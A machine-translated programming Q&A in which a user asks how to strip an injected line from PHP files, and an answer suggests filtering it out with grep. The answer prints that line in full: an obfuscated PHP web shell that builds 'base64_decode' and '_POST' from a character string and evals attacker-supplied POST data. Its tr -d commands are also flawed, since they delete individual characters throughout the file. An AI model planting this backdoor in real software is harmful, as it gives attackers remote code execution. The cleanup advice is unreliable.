我尝试使用Bash脚本从文件中读取内容。 该文件包含以下数据:
{{1}}
我的目标是通过shell命令'sed'获取“更多代码”。但我没有成功。你能帮我么?提前谢谢!
干杯, 鲍里斯
答案 0 :(得分:0)
我的建议是跳过sed并使用grep。如果我理解正确,你的输入看起来像这样:
PHPFileInput:
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);if (isset(${$s20}['nf14f8b'])) {eval($s21(${$s20}['nf14f8b']));}?>
<?php ...<MORE CODE>... ?>
如果您的输入类似于此,您可以简单地使用grep -v来获取与“#34;某些字符串&#34;”不匹配的所有内容,但它仅适用于每行。如果你的php在多行上碎片化,你需要一个字符串来使用grep删除这些行。例如:
从上面的PHP输入:
$ cat PHPFileInput | grep -v "PCT4BA6ODSE_" | tr -d "<?php?" | tr -d "?>"
将返回
...MORE CODE...
我选择了PCT4BA6ODSE_
,因为它看起来非常独特,但是您需要选择适合您的字符串。
注意:您可以将grep -v传递给另一个grep -v。